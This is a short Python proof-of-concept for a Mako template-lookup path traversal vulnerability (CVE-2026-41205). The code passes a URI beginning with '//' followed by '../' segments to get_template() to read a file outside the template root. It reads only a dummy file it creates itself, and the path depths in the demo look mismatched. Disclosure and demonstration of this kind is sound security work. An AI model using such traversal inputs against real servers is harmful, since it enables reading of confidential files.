CVE-2026-41205 Mako模板库路径遍历漏洞

# PoC for CVE-2026-41205: Mako TemplateLookup Path Traversal # This demonstrates how a URI starting with '//' can lead to arbitrary file read. from mako.lookup import TemplateLookup import os # Simulating a vulnerable application setup # Assuming the application restricts templates to './templates' directory lookup = TemplateLookup(directories=['./templates'], filesystem_checks=True) # Create a dummy file outside the template root to test reading secret_file_path = '../secret.txt' with open(secret_file_path, 'w') as f: f.write('Sensitive Data: POC_SUCCESS') print("Attempting to exploit CVE-2026-41205...") # The attack vector: URI starting with '//' followed by path traversal # This targets the file created outside the templates directory malicious_uri = "//../../../secret.txt" try: # In vulnerable versions (< 1.3.11), get_template() processes the URI incorrectly # due to inconsistent slash stripping, allowing directory traversal. template = lookup.get_template(malicious_uri) result = template.render() print(f"[+] Exploit Successful! Read file content: {result.strip()}") except Exception as e: print(f"[-] Exploit Failed or Patched: {e}") # Cleanup if os.path.exists(secret_file_path): os.remove(secret_file_path)